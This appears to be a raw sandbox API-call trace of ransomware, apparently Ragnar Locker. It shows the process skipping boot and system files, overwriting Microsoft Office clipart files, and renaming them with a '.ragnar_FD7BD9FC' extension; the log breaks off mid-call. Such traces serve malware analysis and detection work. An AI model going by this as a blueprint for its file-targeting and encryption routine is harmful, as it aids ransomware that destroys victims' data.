1 [0088.436] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.436] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00391_.WMF" | out: lpString1="NA00391_.WMF") returned="NA00391_.WMF" [0088.436] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF") returned=".WMF" [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="autorun.inf") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="boot.ini") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="bootfont.bin") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="bootsect.bak") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="bootmgr") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="bootmgr.efi") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="desktop.ini") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="iconcache.db") returned 1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="ntldr") returned -1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="ntuser.dat") returned -1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="ntuser.ini") returned -1 [0088.436] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="thumbs.db") returned -1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.436] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf")) returned 0x20 [0088.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.437] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8684) returned 1 [0088.437] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.437] GetProcessHeap () returned 0x580000 [0088.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.437] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.438] VirtualAlloc (lpAddress=0x0, dwSize=0x21ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.439] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21ec, lpOverlapped=0x0) returned 1 [0088.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.440] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21ec, lpOverlapped=0x0) returned 1 [0088.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.440] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.440] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.440] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.440] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.441] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.441] GetProcessHeap () returned 0x580000 [0088.441] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.441] CloseHandle (hObject=0xf4) returned 1 [0088.441] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" [0088.441] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ragnar_FD7BD9FC" [0088.441] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0088.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.441] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00394_.WMF" | out: lpString1="NA00394_.WMF") returned="NA00394_.WMF" [0088.442] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF") returned=".WMF" [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="autorun.inf") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="boot.ini") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="bootfont.bin") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="bootsect.bak") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="bootmgr") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="bootmgr.efi") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="desktop.ini") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="iconcache.db") returned 1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="ntldr") returned -1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="ntuser.dat") returned -1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="ntuser.ini") returned -1 [0088.442] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="thumbs.db") returned -1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.442] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf")) returned 0x20 [0088.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.443] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10964) returned 1 [0088.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2acb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.443] GetProcessHeap () returned 0x580000 [0088.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.443] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2ad4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.445] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ad4, lpOverlapped=0x0) returned 1 [0088.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.447] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ad4, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.447] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ad4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ad4, lpOverlapped=0x0) returned 1 [0088.447] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ad4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.447] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.447] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.447] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.447] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.447] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.448] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.448] GetProcessHeap () returned 0x580000 [0088.448] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.448] CloseHandle (hObject=0xf4) returned 1 [0088.448] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" [0088.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ragnar_FD7BD9FC" [0088.448] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.448] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0088.448] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.448] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00395_.WMF" | out: lpString1="NA00395_.WMF") returned="NA00395_.WMF" [0088.449] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF") returned=".WMF" [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="autorun.inf") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="boot.ini") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="bootfont.bin") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="bootsect.bak") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="bootmgr") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="bootmgr.efi") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="desktop.ini") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="iconcache.db") returned 1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="ntldr") returned -1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="ntuser.dat") returned -1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="ntuser.ini") returned -1 [0088.449] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="thumbs.db") returned -1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.449] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf")) returned 0x20 [0088.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.450] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6474) returned 1 [0088.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1941, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.450] GetProcessHeap () returned 0x580000 [0088.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.450] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.451] VirtualAlloc (lpAddress=0x0, dwSize=0x194a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.452] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x194a, lpOverlapped=0x0) returned 1 [0088.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x194a, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.453] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x194a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x194a, lpOverlapped=0x0) returned 1 [0088.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x194a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.453] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.453] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x194a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.453] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.453] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.453] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.453] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.453] GetProcessHeap () returned 0x580000 [0088.453] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.453] CloseHandle (hObject=0xf4) returned 1 [0088.454] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" [0088.454] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ragnar_FD7BD9FC" [0088.454] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.454] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0088.454] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.454] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00396_.WMF" | out: lpString1="NA00396_.WMF") returned="NA00396_.WMF" [0088.454] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF") returned=".WMF" [0088.454] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.454] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="autorun.inf") returned 1 [0088.454] lstrcmpiW 